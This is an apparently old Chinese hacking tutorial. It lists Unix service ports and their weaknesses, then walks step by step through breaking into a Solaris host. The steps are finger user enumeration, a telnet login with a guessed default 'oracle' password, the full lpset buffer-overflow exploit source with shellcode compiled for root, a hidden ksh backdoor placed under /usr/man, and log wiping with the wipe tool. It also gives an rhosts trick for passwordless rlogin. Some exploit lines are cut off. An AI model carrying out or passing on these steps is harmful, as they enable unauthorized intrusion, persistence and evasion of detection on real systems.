|___ 37 Time
|___ 53 Domain Name Server
|___ 79 Finger
|___ 111 SUN Remote Procedure Call
|___ 512 remote process execution;
|___ 513 remote login a la telnet;
|___ 514 cmd
|___ 515 spooler
|___ 540 uucpd
主要的端口有:21、25、53、79、111、513
其他还有:22、80等
端口的主要漏洞:
21:FTP的端口。主要漏洞是ftpd。如果允许anonymous(匿名)用户,而且具有读写权限,那么那台机子就是你的啦。假如你具有读写权限的用户密码,那就更加容易了。
22:ssh的端口。例如:SSH 3.0的远程登录漏洞等。
25:sendmail的端口。利用它的漏洞,我们可以D.O.S主机。freebsd的8.8.3版本还可以远程溢出rootshell。
53:DNS的端口。主要漏洞是bind。对于bind 8.2的DNS服务器,我们可以利用exploit溢出一个rootshell。
79:finger的端口。在unix和liunx都很有作用。对于Sunos,我们可以 finger 0@***.***.***.*** 刺探用户。对于,liunx可以 finger @***.***.***.*** 刺探当前在线的用户。
80:web的端口。这个端口就是我们平时浏览网站的默认端口。主要的漏洞有CGI漏洞。
111:rpc的端口。rpc漏洞是当今最流行的漏洞之一。每一个漏洞都可以远程溢出rootshell。例如:redhat的rpc.statd,Solaris的rpc.ttdbserverd等。
513:rlogin的端口。你可以向主机发送一条:echo '+ +' >/.rhost 如果成功,就可以不用密码rlogin到主机。
finger主机。
目的是利用finger漏洞寻找主机的用户。(取得主机的用户对入侵主机有很大帮助。)
D:\>finger 0@127.0.0.17
[127.0.0.17]
Login NameTTYIdle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
chenhy ???pts/7
mdevice???897
liuy???pts/5
oracle ???console 6:57 Mon 14:29 :0
oracle ???pts/24d Mon 14:29 :0.0
oracle ???pts/522 Sat 16:34 61.140.253.142
D:\>
存在finger漏洞。系统的用户显示出来了。(chenhy、mdevice、liuy、orcle)
oracle,通常oracle的密码就是oracle。
马上试一下!
D:\>telnet 127.0.0.17
SunOS 5.7
login: oracle
Password:
Last login: Sat Aug 4 17:25:49 from 61.140.253.142
Sun Microsystems Inc.SunOS 5.7 Generic October 1998
$
成功了!
假如在这一步并没有猜到用户的密码,我们可以利用其他工具继续猜测。
命令:uname -a
查看主机的信息。
$uname -a
SunOS mars 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
SunOS mars 5.7:SunOS的版本。
sparc:服务器版本。
Generic_106541-08:补丁情况。
找到exploit:lpset.c
$cat >lpst.c
/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland *://lsd-pl.net/ #*/
/*## /usr/bin/lpset #*/
#define NOPNUM 864
#define ADRNUM 132
#define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a
"\x20\xbf\xff\xff" /* bn,a
"\x7f\xff\xff\xff" /* call
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st%g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st%o0,[%o0+16]*/
"\xc0\x22\x20\x14" /* st%g0,[%o0+20]*/
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta8 */
"/bin/ksh"
;
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[10000],adr[4],*b;
int i;
printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/\n");
printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n");
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400;
b=buffer;
sprintf(b,"***=");
b+=4;
for(i=0;i<2;i++) *b++=0xff;
for(i=0;i
for(i=0;i
for(i=0;i
for(i=0;i
*b=0;
execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);
}
/* www.hack.co.za [4 August 2000]*/
^D (“^D” = Ctrl+D ,目的是结束。)
$cd /tmp
lpset.c放在/tmp目录了。
$ls
lpset.c
建立了。
$gcc -o lpset lpset.c
$
编译程序。
小技巧:Solaris默认是没有gcc的。我们可以用命令“whereis -b gcc”查找。因为管理员通常会在“/usr/local/bin”留下一个gcc的。
命令:chmod 777 lpset
设置程序“lpset”的属性为所有组所有用户都能访问。
$chmod 777 lpset
命令:./lpset
执行程序。
$./lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/
/usr/bin/lpset for solaris 2.6 2.7 sparc
sh: syntax error at line 1: `(' unexpected
#
命令:id
查看自己的所属的组别。
#id
uid=1035(delex) gid=20(staff) euid=0(root)
“euid=0(root)”取得root权限了。
做个后门:
# mkdir /usr/man/man5/shell
在man文件夹里新建一个文件夹,没那么容易给别人发现。(每台主机的情况都不同。)
# cp /bin/ksh /usr/man/man5/shell
# chmod 777 /usr/man/man5/shell
一个简单的后门就做好了。
以后,我们可以用oracle登陆,然后“./usr/man/man5/shell”取得root权限。
用wipe-1.00清除日志。
先把wipe-1.00.tgz上传到主机。
通常ftp的密码与telnet的密码一样。
# gzip -d wipe-1.00.tgz
# tar -xf wipe-1.00.tar
# cd wipe-1.00
# make
Wipe v0.01 !
Usage: 'make ' where System types are:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi netbsd hpux
#
其中:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi netbsd hpux
为“选择系统”。
我们这里用“solaris2”。
#make solaris2
gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c
成功了。
#./wipe
USAGE: wipe [ u|w|l|a ] ...options...
UTMP editing:
Erase all usernames:wipe u [username]
Erase one username on tty:wipe u [username] [tty]
WTMP editing:
Erase last entry for user :wipe w [username]
Erase last entry on tty:wipe w [username] [tty]
LASTLOG editing:
Blank lastlog for user :wipe l [username]
Alter lastlog entry :wipe l [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]
ACCT editing:
Erase acct entries on tty :wipe a [username] [tty]
说明:
u 选项为 utmp utmpx 日志清除。
w 选项为 wtmp wtmpx 日志清除。
l 选项为 lastlog 日志清除。
a 选项为 pacc
